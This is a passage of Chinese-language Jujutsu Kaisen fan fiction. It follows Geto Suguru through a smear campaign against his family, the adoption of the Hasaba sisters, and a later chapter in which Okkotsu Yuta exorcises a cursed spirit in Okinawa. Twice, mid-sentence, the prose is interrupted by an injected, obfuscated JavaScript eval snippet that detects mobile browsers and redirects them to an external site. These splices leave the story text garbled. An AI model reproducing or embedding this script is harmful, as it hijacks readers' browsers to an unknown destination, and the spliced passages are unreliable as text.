“好啊。”夏油杰觉得这样也不错。为了自己力所能及的事情拼尽全力的感觉,灰原雄觉得这种感觉很棒。不过,经历这次死里逃生之后,他更加坚定了不能让妹妹接触咒术的决心。 夏油杰在宿舍的走廊见到了特级咒术师九十九由基。 做出改变并不是一件容易的事,个人尚且如此,更不用说他们想要动摇的是整个咒术界。九十九由基常年游走在海外寻找彻底解决咒灵的方法,最终得到了两条路。一条是让全人类都能控制咒力,一条是去除全人类的咒力。 “本来我还想找伏黑甚尔好好聊聊,可惜他拒绝了。” “真是宏大的理想,九十九小姐。”夏油杰只是听着,没有对九十九由基提出的方法发表任何看法。 随着和九十九由基的谈话继续深入,夏油杰品出了点别的什么东西。九十九由基似乎是在寻找同伴,但是目前还听不出她到底准备选哪一条路作为目标。 “可以不断给非术师们分层,迫使他们为了活下去而适应成为术师,也就是运用恐惧和危机感促使他们进化,就像鸟儿进化出翅膀那样。不严谨地说,只要让所有的非术师都‘消失’就可以了。” 九十九由基渴望同伴。她看上去洒脱且游刃有余,其实内心也在寻找方向的道路上渐渐变得无力。她曾经回来找过日照星海,可惜那次没见到,现在她再也没机会见到他了。 这次回来除了查看天元的同化情况外,还有找新晋的特级咒术师们好好聊聊的想法。她觉得总能有人理解她的想法,并且和她并肩作战,从根源上终结咒灵的诞生。 “九十九小姐你,是站在什么样的角度来思考这些问题的呢?” “?” 夏油杰身上的制服脏兮兮的,还没来得及换,虽然硝子已经治好了他的伤口,但仍有血迹残留在袖口上。 “就算再强大的人也会失去宝贵的东西,”就像弥山和星海,“我和悟仅仅是忙着高专的任务就有点应接不暇。九十九小姐既然跳出了这些桎梏,就应该尽快找到自己的方向。” 也许在九十九由基看来,高专做的这些事情都只是治标不治本,他们一次次祓除咒灵也只是在浪费时间而已。 他们同为特级咒术师,自然有着属于强者的自傲与自尊,狂妄地觉得自己应该为这个世界做些什么,让它变得更好、再好一点,才算是尽到了一个强者的责任。 九十九由基这些年一直在原地打转,做不出决断,也找不到更好的方法。 “我和悟想要的是创造一个弱者也可以生存下去的世界,”他们身为强者不该只是一次又一次在危机中拯救弱者,“无论是改革也好、咒术界的未来也罢,我们正在为此而努力。” 九十九由基说道:“在这方面我们的目标还算一致。” 至此,九十九由基知道他们谁也无法说服对方成为自己的同盟,他们的前进方向虽然殊途同归,但其中要走的路却天差地别。 摆在眼前的问题总要有人去解决,夏油杰无法说服自己因为选择从根源上解决问题而对眼前的苦难视而不见。 电话铃声响起,夏油杰第一时间摸出手机看了一眼,不是五条悟而是一个陌生的电话号码。 “......你还真是令我大吃一惊,夏油同学。我本来还想找五条同学聊聊的,现在看来没有这个必要了。拜拜啦,期待你们直接掀翻咒术界,尤其是那些臭老头!”九十九由基和他挥手道别,一如她潇洒地来,骑着她的摩托毫不留恋地走了。 夏油杰摁下了接听键。 他的爷爷在事故中去世了。 那个夏天太忙碌了。时间仿佛过得很快,可无论他怎么忙得飞起,酷夏留下的燥热还是紧追着他不放。五条悟接手了他所有的任务,给他腾出半个月的时间跟着父母料理老人的后事。 肇事者酒驾且是惯犯,可却没有得到应有的惩罚。父母将郁郁寡欢的奶奶接到家中照料,可老人还是跟着离开了。半个月延长到了整整两个月,他有段日子几乎天天要和被关在警察局的肇事者见面,听着他毫无悔过之意的狡辩,一遍又一遍地将人的底线拉扯到脚底下践踏。 “和解?你也太没用了吧,杰!”五条悟叼着冰棍,坐在台阶上。 “没办法,再拖下去我会忍不住让咒灵往他头上吐冰激凌球的。”夏油杰舒展眉头,露出一个笑来。 五条悟想起日照在电话中和他说的,直接搂上夏油杰的脖子:“决定了!我们叫上七海他们去吃烤肉吧!” “......话题跳跃得太快了点吧?大夏天吃烤肉你真的不会被热死吗?” “走喽!” 似乎老天都在逼着夏油杰的这个夏天变得苦闷难熬。 父母被造谣杀人骗保,“不然为什么要和肇事者和解”、“看他们打扮的干干净净,哪里像是刚刚失去亲人的模样”之类的谣言甚嚣尘上,在这个网络才刚刚初步发展起来的时代,如此大规模的声讨实属罕见。 他的父母丢掉了工作,家门口被涂满了污言秽语,多年邻里间的友好仿佛泡沫一样一触即散,只能躲在家中,连窗帘都不敢拉开。 夏油杰是在一周后才知道这些事的。 五条悟想要抢走他的手机,却被躲开了,发着光的屏幕上不断弹出不堪入目的污言秽语。明明什么都不知道,明明只是素未谋面的陌生人,明明只是道听途说,却变成了如今这幅模样。 夏油杰把手机放到桌子上。 家入硝子在教室打开打火机的声音很清脆,火苗点燃了她口中的香烟。灰原雄没有跑到他们的教室,应该是七海建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266802|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人压着他不让他过来的缘故。 “......这不对劲。”夏油杰说。 五条悟猛地抬起眼皮:“对吧!!我就说,我也觉得哪里不太对劲!!最开始发帖的那个人的账号是新注册的,按理说一个新账号不可能造成这么大的影响,肯定是有什么人故意吸引来了、不,难道这个网站也有问题?家里的老头子们一到这种事情上就抓瞎,不过家里也有年轻人在帮忙,只是一时半会儿还想不出解决的办法。” 他曲起指节敲了敲桌子,在夏油杰看过来之后将眼睛从滑到鼻梁上的墨镜后露了出来:“重点是‘有人故意的’。” 夏油杰很快反应过来他说的是谁:“你是说......” 羂索。那个藏在黑暗里的千年阴谋家,一手设计了熔海事件,让日照星海死在冲绳海滩上的幕后黑手。 “不管你们在说谁,现在最要紧的事情是让叔叔阿姨远离这个现状。”家入硝子说道。 “硝子说得对,”五条悟提议,“出国?” 夏油杰摇摇头:“不......虽然不知道他究竟想干什么,但他不像是会轻易罢休的那种人。‘天元大人同化失败’的消息已经传了出去,理子妹妹的星浆体身份可以彻底被抛弃,所以她在国外是安全的。” 还有哪里是羂索很难干涉的地方? “......北海道。”他们异口同声地说。 五条悟扯过一张椅子倒着坐了上去:“这事得找弥山。” 只是在北海道境内并不完全安全,从夏油杰家的种种变故来看,羂索极有可能唆使普通人替他完成某些事。 夏油杰当机立断,拨通了日照的电话。 “杰?”那边传来的声音不像是刚从睡梦中惊醒。 “呃,打扰你睡觉了?抱歉弥山,我现在......” 日照站在孟买的街头,身边是一堆报废的玩具望远镜。他听完了夏油杰的讲述,中途他就已经确定这肯定是羂索的手笔。那个老家伙惦记着【咒灵操术】呢。 “行啊,我把铃木的电话给你,去总部试试看,实在不行在神居古潭附近住下,至少离得近些。” 夏油杰心中堵住的一块大石头终于放了下来。 日照突然生出了一点坏心思:“我跟你说啊,你知道悟前段时间突然大晚上打电话过来找我这个知心大哥哥......” 他的话还没说完,电话那头就传来一阵鸡飞狗跳的声音,想也知道因为第六感而凑过来偷听的五条悟抢走了夏油杰的电话,中间还夹杂着女生的吐槽声。 日照心满意足地挂断了电话。说实话,接到五条悟电话的那天他是真睡着了,醒来听到五条悟问他“杰最近不太对劲,好像变瘦了很多,看起来很烦恼,我该怎么办”的时候他觉得自己可能是在做梦。 就为了这么点事? “实在不行揍一顿吧。”他用他贫瘠的经验给出了建议。 五条悟挂了他的电话。果然,当听到一个更不靠谱的建议的时候,五条悟觉得他自己又行了。 正如他们预料的那样,针对夏油杰的阴谋并没有就此停止。 “就像我在报告里写的那样,这对姐妹被村民当做一系列咒灵伤人事件的元凶关在监牢里,身上的伤是她们反抗时留下的,已经请家入小姐治疗过了。”七海建人脸色不快地扯着高专制服有点过高的衣领说道。 枷场美美子和菜菜子左右一边一个,拉着夏油杰的裤子不松手。 夏油杰扶额,他经过了这么几趟之后模模糊糊地能够摸得着羂索想要干什么了。有些想法无人诉说的时候会像癌细胞一样无条件地扩散,可一旦本人察觉到有人准备利用这个想法做坏事的时候,反而显得可笑了起来。 “啊,的确也会有这样的人呐,”五条悟对村民们的做法见怪不怪,蹲下去试图靠近枷场姐妹,结果收获了两颗躲在夏油杰身后的小蘑菇头,“所以,杰,你准备怎么办?” “嗯?”夏油杰还在想羂索的事,一时没反应过来。 五条悟指了指小孩子们:“送到五条家倒也没问题,但是她们看起来把你当做鸟爸爸了。” “算了,”夏油杰知道五条家最近正在被总监部针对,因为五条悟有点要脱离他们掌控的意思,从上到下都忙得焦头烂额,多照顾两个小孩子虽然不算麻烦,但终究要找个理由,不如由他自己来,“我来吧。” 正好他有点担心父母因为一系列打击难以从创伤中恢复,有两个孩子代替自己陪伴他们,情况多少会好一些吧? “先跟硝子姐姐去宿舍吧。” 姐妹俩得到了夏油杰的摸摸头,不吵不闹地跟着家入硝子去空宿舍暂时住下。 “夏油前辈准备让叔叔阿姨收养她们吗?如果是这样,走正规流程的话也至少需要六个月到一年。这段时间她们也不能一直住在高专,而且她们看起来已经到了该上学的年龄......” 五条悟凑到夏油杰的耳边:“七海这个人,虽然一脸不爽但其实超级关心这件事的吧?” “......我听得到,”七海建人揉揉鼻子,叹了口气,用与外表严重不符的低沉声线说,“这个年纪的孩子,更别说经历了那种暴力监禁的行为,我个人觉得在正式开始共同生活前的这段时间最好还是送她们去儿童福利院这样的地方比较好。” 夏油杰点头:“我也觉得这样比较好。我们这些人只有硝子会长时间待在高专,但她也有自己的事情要做。我会尽快和父母一起准备领养材料,尽早开始共同生活,家庭裁判所的审查也能早点开始。” 枷场姐妹未来一段时间的生活有了着落,七海建人将话题拉回到了她们曾经生活过的那个村子。 连地图上都找不到的穷乡僻壤,还有多少年幼的咒术师没能等到成年就因为各种原因夭折了?又有多少咒术师被视作异类,终日生活在与“怪物”共处的惶恐不安之中? 毕竟咒术界又没有把“请来咒术高专学习咒术吧”又或者“咒术界招聘适龄咒术师”的标语贴的到处都是,野生的咒术师如果没有被“窗”发现的话,这辈子也永远无法作为一个“普通人”生活在普通人的世界里。 宝贵的才能被视作带来不幸的力量,人的恶意可以是毫无由来的,夏油杰对此再清楚不过。这是众所周知的丑恶,无关强者或者弱者,只要还有人存在,这些恶意就永远不会消失。 “就是人渣啦,仗着自己拥有更强的力量所以对小孩子施加暴力,又被自己有限的认知局限住,根本意识不到自己的错误。这种人再怎么想都是人渣啦,”五条悟摊手,“总有人无可救药,我才懒得管这些人怎么样,别挡老子的路就行。” “这次我非常赞成五条前辈。”七海建人和他们道别,夜蛾正道叫他去趟办公室。 “......说的是啊。”夏油杰垂下眼睛,被五条悟东倒西歪地扯着去找家入硝子一起带着两个孩子出去吃甜点了。 54.过去的终幕 十年的时间,站在尽头回首,似乎觉得这三千六百五十多天仿佛一眨眼就过去了。但如果将时间拉长,让视线聚焦在那些关键的节点之上,为此付出的一切努力好像又跃然心间。 五条悟和夏油杰在毕业后留任东京高专,成了一年级和二年级的教师。夜蛾正道升任了东京校的校长,庵歌姬也入职京都校,成为了教师。冥冥在毕业后立刻开始了自由咒术师的活动,业务甚至延伸到了国外。 五条悟在毕业成年后继承了家主之位,行事更加放肆了起来。物部式已经在总监部混到了中层,现在正在绞尽脑汁继续往上爬,灰原雄作为他的后辈跟在他身边学习。七海建人现在是一级咒术师,以高专为中心继续着祓除咒灵的工作。 伏黑惠和津美纪已经和五条悟他们很熟悉了,有的时候伏黑甚尔出去工作,还会把家里的两个小鬼丢给他们照顾,两个孩子的家长会几乎都是他们代替伏黑甚尔去开的。 从日照定时寄给夏油杰的咒符中得到了启发,他们仿制制作出了只有用咒力才能看到的宣传单,对于普通人来说就只是贴在电线杆和砖墙上的美妆广告,但对于拥有咒力的人来说,上面的文字就会变成再显眼不过的宣传海报。 据说曾经有人提出直接把五条悟的脸印在上面,五条悟本人对此有些跃跃欲试,但这一提案被夏油杰一票否决。 对此五条悟也只是抱怨了两句,家入硝子在旁边用一种“家里的幼稚鬼终于长大了”的眼神看着他们两个。 “你们两个终于过了一言不合就到处找地方打架才能握手言和的年纪了啊,可喜可贺,真是可喜可贺啊。” 五条悟&夏油杰:“......” 其实他们俩昨天刚又悄咪咪地打了一架,不过是因为两个人都会反转术式,没有让家入硝子发现罢了。 至于为什么......算了,总之就是这样那样各种事情啦。 的确有不少人说是因为看到了宣传海报才找到“窗”和高专来的,其中就包括一个名叫乙骨忧太的少年。 “哇,这可真是罕见啊!” “诶!?啊、那个、请不要靠我这么近......不然的话,里香会......”乙骨忧太的声音越来越小,最后几乎微不可闻。 五条悟从不收敛身上的咒力,就像一个大型的太阳一样,时时刻刻散发着刺眼的光。显然,这样锋芒毕露的咒力让跟随着乙骨忧太的特级过咒怨灵祈本里香有些躁动不安,巨大的白色式神显现了出来。 拥有无穷的咒力、无法被用普通方法祓除的特级怨灵,因为对某个人抱有执念,当那个人受到伤害的时候就会自动显现,无条件攻击任何企图靠近的人,祈本里香就是一个再典型不过的特级过咒怨灵。 “不许......忧太......忧太、忧太......” 祈本里香盘踞在乙骨忧太身侧,以守护者的姿态戒备着。 六眼已经清楚地看见了乙骨忧太身上的潜力,但比起咒术方面的天赋,这个少年显然还有更多急需解决的心理问题。因为祈本里香的不安定,乙骨忧太曾在无意中伤害到了自己的家人、身边的朋友,为此他选择远离家庭和同学,却因为这样自我放逐吸引来了霸凌者的注意。 积聚的负面情绪加速了本就庞大的咒力从身体中满溢出来,在被逼至墙角的时候,乙骨忧太念着祈本里香的名字,脑海中想到的却是上学途中偶然看到的宣传海报。 咒术......咒术师......如果是他们的话,一定能解开里香的诅咒吧? 鼓起勇气破开窗户从三楼跳下去的时候,乙骨忧太闭上了眼睛。他知道里香会接住他的。 “嗯~能做出这样的选择已经非——常厉害了哦,忧太。” 五条悟力排众议,将乙骨忧太转入了东京高专的一年级,和这一届的禅院真希、熊猫以及狗卷棘成为了同学。 乙骨忧太觉得咒术高专和他想象中的有些不太一样。他们的老师,也就是禅院真希口中的“白毛笨蛋”,熊猫口中的“咒术界最强”,他的身上有一种忙碌和闲散并存的慵懒感。 五条悟本人永远都是一副游刃有余的模样,每天迈着大长腿晃晃悠悠地穿越校园。只有伊地知洁高每天都在狂奔。 “听说悟他们上学的时候,一年级的学生们几乎每周都要出任务呢。”熊猫毛茸茸的耳朵动了动。 “鲑鱼。”狗卷棘表示肯定。 乙骨忧太颠颠手中略显沉重的武士刀,按照禅院真希教他的动作摆好起手势。 “你知道杰吧,忧太?” “二年级的......夏油老师吗?”乙骨忧太一边回答熊猫的问题,一边还要专心应对禅院真希力道极重的进攻。 “对哦,听说他们上学的时候忙到连杰的咒灵都要去单独执行任务。” “喂熊猫!那是谣传吧?” “但是据说有人看到了,”熊猫用手指挠着下巴,“杰的咒灵在自己祓除诅咒什么的。” 禅院真希嫌弃地说道:“那个怪刘海肯定躲在旁边看着呢!” 说罢她的动作突然加速,一个劈腿踹倒了因为听八卦而分心的乙骨忧太。 “说起来,”乙骨忧太揉着被敲出一个包的额头,“现在的特级咒术师只有五条老师和夏油老师吗?” 狗卷棘指了指乙骨忧太。 啊。乙骨忧太缩了一下脖子,忽然冒出冷汗。他忘记自己的学生证上写的也是特级咒术师了。 禅院真希走到他们身边喝水,熊猫说道:“其实还有一个人啦,但是她一直都在国外所以大家很少提起她。再往前的话......” “嗨~大家!训练时间结束了哦!”五条悟不知道什么时候走到了操场,拍着手语气爽朗地召集学生们围了过来。 他出现的时间非常巧,打断了熊猫没能说完的话。 “怎么了悟?” “是任务哦,地点在冲绳。” 高专学生们的任务通常都集中在东京都附近,花费在路上的来往时间一般不超过一个小时。去冲绳这么远的地方执行任务的机会为什么会落到他们几个高专一年级的学生们头上? 禅院真希提出了这样的疑问,五条悟抱着胳膊说:“嘛,这可是老师我好不容易争取来的机会,大家一定要好好表现哦。” “这不是什么都没解释吗!?” “鲑鱼!” 五条悟摆出一副为难的模样:“哎呀,现在的孩子们怎么不好糊弄了呀~” “冲绳......?”熊猫似乎想到了什么。 “哼哼,”五条悟还是模棱两可地解释着,“老师可是很信任大家的。” 乙骨忧太发现了重点:“老师,这次我们所有人都要去吗?” “毕竟机会难得嘛。我会跟你们一起去的,放心啦。” 禅院真希他们多少从五条悟的态度中察觉到了一些不同寻常之处,称不上是“异样”,顶多让人觉得他们即将去到的地方曾经发生过什么给他留下了深刻印象的事。 乙骨忧太看了看其他人,心思细腻的少年眨眨眼睛,安静地听着。 不知道为什么,这次冲绳之行在五条悟的嘴里逐渐从“任务”变成了“课外实践活动”,等到他们在羽田机场汇合的时候,发现五条悟已经换上了平时很少见他穿的休闲装,罩住眼睛的绷带也换成了墨镜。 第一次亲眼见到传说中的苍天之瞳,一年级的新生们不约而同发出了赞叹。百闻不如一见,头发软趴趴地贴在脑袋上,加上那独树一帜的发色和绝佳的身高,五条悟一路上收获了无数回头注目。 只要他不开口说话,单看外表还是很能唬人的。 “为什么你这么悠闲啊?”禅院真希几乎把自己所有的咒具都带上了,为了办理托运还花费了不少时间和金钱。 五条悟看上去简直就像是去冲绳度假一样。 “把自己绷得太紧可不好哦,你们还是孩子,怎么不知道好好享受自己的青春啊!”五条悟连行李箱都没带,随手拎了个包就来了。 “鲑鱼鲑鱼!”狗卷棘拉开背包拉链,露出了里面的水枪和花裤衩。 “哦!棘很懂嘛!去冲绳怎么能不去海边玩呢!”五条悟迅速找到了同盟。 乙骨忧太大震惊:“狗卷同学!?准备太周全了吧!!” 禅院真希已经不想说话了。 熊猫也很快被“假日旅行派”带偏了,开始思考自己要在身上套上塑料袋或者干脆穿上潜水服再下海玩的话能不能避免打湿毛发。 可喜可贺,他们按时登机了。 “忧太,”五条悟向唯一穿着白色高专制服的少年招手,拍了拍自己身边的座位,“坐这边。” 以为五条悟有什么事情要单独交代,乙骨忧太坐下后一直等着他开口。但是从飞机在跑道上滑行,再到爬升后冲入云端,五条悟都一直看着窗外,没有说话的意思。 禅院真希和狗卷棘已经靠在熊猫的身上闭眼休息了,乙骨忧太放弃了通过LINE向自己的同学们求助的想法。 “老师,”他看五条悟没有准备睡觉的意思,犹豫着开口问道,“那霸那里发生过什么事吗?” 五条悟的眼睛从洁白的云朵上移开,转了过来。 人在紧张的时候就会觉得时间过得很慢,乙骨忧太现在就是这么觉得的。他似乎问到了不该问的事情,虽然五条悟有很多“该说明的东西没有说清楚”的先例,但在涉及到安全问题上的时候却从不含糊。 老师没有主动说,那就应该是他们知不知道都影响不大的意思......吧? 正当他下意识地准备道歉时,五条悟开口道:“那里啊。” “大概十四年前,那里发生过一次恶性事件。忧太应该不知道,2003年4月发生在那霸波之上海滩的‘熔海事件’。” 如果要将那件事的前因后果全部讲清楚,那恐怕得专门找出一天的时间来好好掰扯一番。略去对新一代来说接触的话还太早了的部分内容,五条悟将当时发生在沿海的两次爆炸讲述给了乙骨忧太。 第一次,是高专二年级的学生和特级咒灵的对决。 第二次也是,只不过上演这出悲剧的主角们换了身份。 “人类......变成了咒灵?” “是啊,咒术师被不含有咒力的武器杀死,尸体上就有可能生成咒灵。那个人的天赋很高,会变成特级咒灵也就不奇怪了。” 那不是和里香一样了吗.....乙骨忧太心想。 “它和里香还是不同的。祈本里香在死后生成的过咒怨灵以保护你的姿态出现,但辻光士死后形成的特级咒灵却没有想要保护的对象。因为术师本人的天赋,变成特级咒灵后立刻就学会了领域展开。” 有超过三十人在第一次爆炸中失去了生命。第二次,在名为【日轮净界】的领域内,前任“最强”失去了生命。负责战后清场的辅助监督在被波及的范围内发现了十一具遗体,如果再加上禅院家死去的十二人,有一共有将近六十人在“熔海事件”中被夺走了性命。 从无数遗恨中诞生的是一个全新的咒胎,火红的心脏在薄膜中跳动着。 “当时波上宫已经完全被毁了,现在的那个是十年前新建的,迁到了远离那片地区的地方。” 五条悟那番话的重点其实是在祈本里香和辻光士死后变成的咒灵身上。辻光士是一级咒术师,而且本人的天赋也不局限于此,所以死后形成特级咒灵是有理由的。但祈本里香只是一个普通的女孩,祖上没有咒术师的血统,死后形成拥有无穷咒力、不可以被祓除的过咒怨灵就让人百思不得其解。 唯一可以考虑到的可能性......五条悟的视线落在了正在消化刚才那番话的乙骨忧太身上。 “咒灵一般不拥有可以支撑它们进行对话的知性,但这次的这个就不一定了。” 五条悟对刚进入咒术界只有短短两个月的少年说道:“要自己判断它们说的话,忧太。” “是!我知道了......” 从那霸机场到任务地点乘车只用了十分钟。 “骗人的吧......这种规模的事故......”禅院真希等人跟着五条悟站在了坡顶。脚下地面的表层覆满了深色的晶体,环状的坡像是地层被巨大的冲击挤压,放眼望去还能看到外围略矮一些的波纹状小土坡。 简直就像是有一颗陨石在这里砸进了地面。 “果然是我想的那样,是那个吧?2003年那届高专二年生出的事故。”熊猫确定了自己内心的猜测。因为那是夜蛾正道带的第一届学生,事故发生后,四个人死了一半,还有一个现在还背着死刑判决不知去向。 “校长跟你说过吧?” 熊猫的小眼睛看着拍打在被改变后的海岸线上的白色浪花:“正道很少有那么颓丧的时候。” 狗卷棘顺着熊猫背上柔软的毛发捋了捋,又拍了拍他的肩膀。 “嗯哼,怀旧就到这里吧,”五条悟拍拍手,“我要下‘帐’了。” 乙骨忧太一直在找这次任务的对象,但直到现在他都没有看到可以被称之为咒胎的东西。 “真的在这里吗?” 禅院真希从后面敲了一下他的脑袋:“你好好看看海里。” 乙骨忧太凝神看去,环圈状的深坑里,幽蓝的海面之下似乎有什么东西正在蠢蠢欲动。它在海里! “‘帐’会惊醒它,等它出来就知道还只是咒胎,又或者已经完成了变态。想办法祓除它吧,我就在这里。” 乙骨忧太攥住了挂在脖子上的戒指:“让里香帮忙也可以吗?” 五条悟笑着没有说话。 这到底是行还是不行啊......五条老师有的时候真的很坏心眼。 “金枪鱼蛋黄酱。”在乙骨忧太犹豫不决,心中摇摆不定的时候,狗卷棘的手搭在了他的肩膀上。 “哼,不要未战先怯,这不是明摆着告诉别人你很好欺负吗?我跟你说过很多次了,忧太!”禅院真希拿出了自己最顺手的薙刀咒具,有些恨铁不成钢地警告道。 “是、是!对不起,禅院同学......” “嗯哼,真希和棘说得对,忧太,”熊猫戴上了印有熊猫头的拳套,他们身前的海面已经开始出现了违反自然规律的异常波动,“先集中精神吧!” 五条悟站在高处,在这个位置他可以轻松地赶到学生们身边,也能让他将从海底跃出的一级咒灵的全貌纳入眼中。 全天候运转的六眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281038|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将咒灵的信息捕获。通常来说,从咒胎里孵化出来咒灵大多拥有特级咒灵的实力,但这个背生血红色六翼的“太阳”却只是一级咒灵,正是在观测阶段就发现其特殊性,五条悟才敢将这个任务交给一年级的孩子们。 反正有他兜底,不会出现任何问题。 这只咒灵能够使用咒术,从效果上来看是辻光士的【炽盛光】。 忧太对咒力的操作还是太粗糙了,那孩子的咒力总量太多,控制起来比较麻烦......五条悟的心中突然有了一个绝妙的想法。 “哼哼,正好打探一下他最近都在干什么~” 熊猫后背的毛被高温燎烧,变黑了一块。 “哦哦!配合得很不错嘛!真希的力量应该还可以继续提升,要不是禅院家的那群人,我早就给她申请二级咒术师的资格了。要不要让那个肌肉大猩猩来教她呢?啊、好犹豫啊~” 好几年前伏黑甚尔就说过“老子可不想带孩子”,然后拒绝了他的邀请。明明学生们都是一些好孩子,惠和津美纪以前过的都是什么苦日子啊。 下面正在和一级咒灵鏖战的四个人却没有五条悟这么悠闲。咒灵一直待在海面上空,他们却无法在海面上落足,只能想办法把咒灵拖离海面。 狗卷棘用咒言命令它来到地面上。 哪怕相隔至少十多米的距离,乙骨忧太也感受到了扑面而来的热浪。咒灵移动时经过的海面升腾着蒸汽,水雾迅速在附近蔓延开来。 将诅咒一点一点注入容器中......乙骨忧太让自身的咒力蔓延至整个刀身,和禅院真希对视一眼,相互配合着向咒灵的方向发起了进攻。 咒灵的翅膀并非实体,而是有无数悬浮着的特殊物质组成了翅膀的形状。快速接近它的过程中,乙骨忧太看清了那些东西的“脸”。那是哀嚎着的人脸。 离得更近些,他和禅院真希都听到了从“太阳”中发出的声音。 “......我来......由我来吧......很多人......我不想死......我答应你......救救我。” 这些只是来自亡灵的呓语。乙骨忧太更用力地握住了刀,努力将那些声音甩在耳后。可它们追了上来,向他们诉说着过去的遗憾。 好烫。不管是溅射到皮肤上的碎光还是迎面而来的负面感情都让乙骨忧太觉得灼热无比。 “忧太......” “没关系,里香,”乙骨忧太不知道自己在认真对待战斗的时候,眼中犀利的光就和他手中的刀一样锋锐,“我还可以。” 谢谢你一直保护我,但是现在......我想要拥有一个人战斗的力量。 已经变得很像模像样了,忧太。五条悟对乙骨忧太的表现非常满意。对咒术师来说,最重要的是要找到战斗的理由。尽管如今人手不足的情况得到了极大的改善,但每一次任务对咒术师来说都可能变成一趟有去无回的单程列车。 真正的咒术师知道自己为何战斗,为了不带着悔恨死去,他们会拼尽全力为了未完成的事从每一次死斗中活下来。为了不为死亡而后悔,他们会拼尽全力完成自己该做的事,这样在死前就能坦然说出“我不后悔”。 似乎是从2006年的那个夏天开始,每个成为夜蛾正道学生的年轻人都会被叫到训练场,由夜蛾正道亲自告诉他们何为“死亡”与“悔意”。让还对咒术界抱有幻想的孩子们迅速成熟起来,让他们提前意识到死亡并非遥远之物。这样当他们成为真正的咒术师之后,才能明白自己究竟要为何而战,才能在死前......不会后悔自己曾经做出的决定。 毕竟对咒术师来说,战斗的理由就是自我价值的肯定。 乙骨忧太还没有找到战斗的理由。他来到高专的目的就是想让祈本里香解除对自己的诅咒,让女孩的灵魂成佛。 最后一刀出手时,乙骨忧太手中的刀承受不住猛然灌入的咒力,在嵌入咒灵身体之前就碎裂解体了。 用拳头接触这个咒灵不是明智的选择,乙骨忧太后退两步,丢掉手中仅剩的刀柄,抬手伸向空中:“里香,我想用那个。” 巨大的白色式神因为被呼唤了名字而喜形于色,它将乙骨忧太需要的东西具现了出来。 一根造型很像魔法少女手杖的奇特法杖被乙骨忧太握在手中,杖头还带着鹰嘴一样的造型。 乙骨忧太发动了自己的术式。 “真希!”熊猫用高大的身躯替狗卷棘和禅院真希制造出了一片安全区域,在看到乙骨忧太拿出法杖的瞬间,他就开始呼唤禅院真希到他身后避避风头。 苍蓝色的吸引之力凝聚在杖尖,脚边的碎石飘飘悠悠的,仿佛失去了重力一样向天上飞去。 乙骨忧太身负诅咒。但并非爱着他的祈本里香诅咒了乙骨忧太,而是少年为了留下心爱之人而诅咒了祈本里香。 在第一次让里香完全显现出来的时候,乙骨忧太就产生了这样的想法。 他实在是个心思细腻且非常感性的人,五条悟在飞机上说的话连他自己都不觉得乙骨忧太能听出其中深意,但少年仍旧想通了。 以留住里香的灵魂为因,他得到了无条件的【模仿】术式。 乙骨忧太没有六眼,模仿来的【无下限咒术】极为不可控,只能借用外物辅助这个恐怖的咒力集合体稍微稳定一些。能凝聚出拳头大小的【苍】已经让他汗流浃背。 “安息吧。”少年轻声说道。 咒灵本能想要逃离,却没能赢过【苍】的吸引之力。 一切尘埃落定。 乙骨忧太请求在这里逝去的灵魂可以安息,也想要让祈本里香的灵魂得到解放。女孩走的时候微笑着流下了眼泪,抬手擦去了少年脸颊上滚烫的泪水。 五条悟慢悠悠地从高处探出头来:“恭喜你忧太!大家都做的很棒哦!” 禅院真希用刀尖削掉被烧焦的发尾,狗卷棘倒是很配合地比出了两个“耶”。 失去祈本里香的乙骨忧太暂时被剥夺了特级咒术师的称号,被五条悟以“学习咒力操作”为由,打包送到国外执行任务去了。 少年站在异国他乡的街头,看到右眼戴着眼罩、一脚踹开企图偷他钱包的小混混的青年时,不小心打了个哆嗦。 “乙骨?” “是我......” 日照转身走了几步,发现身后没有跟上来的声音,回头催促:“跟上,五条没和你说要来干什么吗?” 乙骨忧太跟上他的脚步,其实五条悟真的什么都没说:“说了一些?” 他听到了很明显的啧舌声,背对着他的青年似乎是在自言自语,又像是在说给什么人听:“故事都讲完了,你还想睡到什么时候?” 乙骨忧太心想:故事? “......” 日照回过头,乙骨忧太觉得他的表情突然生动了很多:“啊,你就是乙骨吧?” “是的?” “嗯嗯,悟说的没错,果然咒力操作差得要命诶!” 哇!毫不留情......乙骨忧太消沉地低下了头。 “那个,你刚才说故事......?” 日照晃了晃头:“那个啊,别在意啦。” 只是一点点过去的故事。 55.重返仙台 2018年11月16日,“窗”总部,7时34分。 虎杖悠仁从床上弹起来的时候,觉得自己昨天晚上做了一个很长、很长的梦。草草洗漱一番,他拉开门下了楼。 日照正在和日车宽见说话,看到他从楼梯上冒出头来,就向他招了招手。 虎杖悠仁乖乖过去了。 “我先走了。”律师先生仍旧尽可能回避着和虎杖悠仁的相处。 日照上下打量了一下粉发少年,发现他的状态看起来还可以,于是继续说道:“没有时间再让你好好休息了,我们中午出发去仙台。” “去仙台?” 日照用指尖点点桌子,语速极快:“万在仙台。她昨天进入结界时在小金提供的名单上显示的是伏黑津美纪的名字,所以至少在当时伏黑津美纪的意识还没有被彻底杀死。万既然能够将伏黑津美纪的意识完全压制住,以我个人来看她没必要多此一举,在暴露后抹除伏黑津美纪的意识。” 尽管只是猜测,但伏黑津美纪大概率......还活着。 